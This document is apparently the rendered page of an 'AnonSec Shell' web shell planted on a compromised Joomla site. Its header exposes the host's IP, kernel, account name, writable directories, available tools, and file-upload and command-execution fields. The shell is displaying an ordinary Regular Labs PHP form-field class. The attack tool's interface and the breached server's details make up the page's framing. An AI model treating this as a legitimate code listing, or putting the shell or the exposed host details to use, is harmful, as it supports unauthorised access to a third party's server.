AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.217.8
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/saint-martin-lg/libraries/regularlabs/src/Form/Field/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/saint-martin-lg/libraries/regularlabs/src/Form/Field/UserGroupsField.php
<?php

/**
 * @package         Regular Labs Library
 * @version         26.7.20176
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2026 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */
namespace RegularLabs\Library\Form\Field;

defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\RegEx;
use RegularLabs\Library\DB;
use RegularLabs\Library\Form\FormField;
use RegularLabs\Library\Json;
use RegularLabs\Library\User;
use SimpleXMLElement;
class UserGroupsField extends FormField
{
    static $options;
    public bool $is_select_list = \true;
    public bool $use_tree_select = \true;
    //    public bool $use_ajax        = true;
    public function getNamesByIds(array $values, array $attributes): array
    {
        $query = $this->db->getQuery(\true)->select('a.title')->from('#__usergroups AS a')->where(DB::is('a.id', $values))->order('a.lft ASC');
        $this->db->setQuery($query);
        return $this->db->loadColumn();
    }
    public function setup(SimpleXMLElement $element, $value, $group = null)
    {
        $values = is_string($value) ? Json::decode($value, null, \true) : null;
        $values = is_array($values) ? $values : $value;
        if (self::hasSymbolicValue($values)) {
            $value = User::resolveUserGroupIds($values);
            $multiple = strtolower((string) $element['multiple']);
            if (!in_array($multiple, ['1', 'true', 'multiple'], \true)) {
                $value = $value[0] ?? '';
            }
        }
        return parent::setup($element, $value, $group);
    }
    protected function getOptions()
    {
        if (empty(self::$options)) {
            $query = $this->db->getQuery(\true)->select('a.id as value, a.title as text, a.parent_id AS parent')->from('#__usergroups AS a')->select('COUNT(DISTINCT b.id) AS level')->join('LEFT', '#__usergroups AS b ON a.lft > b.lft AND a.rgt < b.rgt')->group('a.id')->order('a.lft ASC');
            $this->db->setQuery($query);
            self::$options = $this->db->loadObjectList();
        }
        $options = self::$options;
        if (!$this->get('show_all')) {
            return $options;
        }
        array_unshift($options, (object) ['value' => -1, 'text' => JText::_('JALL'), 'parent' => 0, 'level' => 0]);
        return $options;
    }
    private static function hasSymbolicValue(mixed $value): bool
    {
        foreach ((array) $value as $group) {
            if (is_string($group) && !RegEx::matchesEntireString('-?[0-9]+', $group, $match, '')) {
                return \true;
            }
        }
        return \false;
    }
}

Anon7 - 2022
AnonSec Team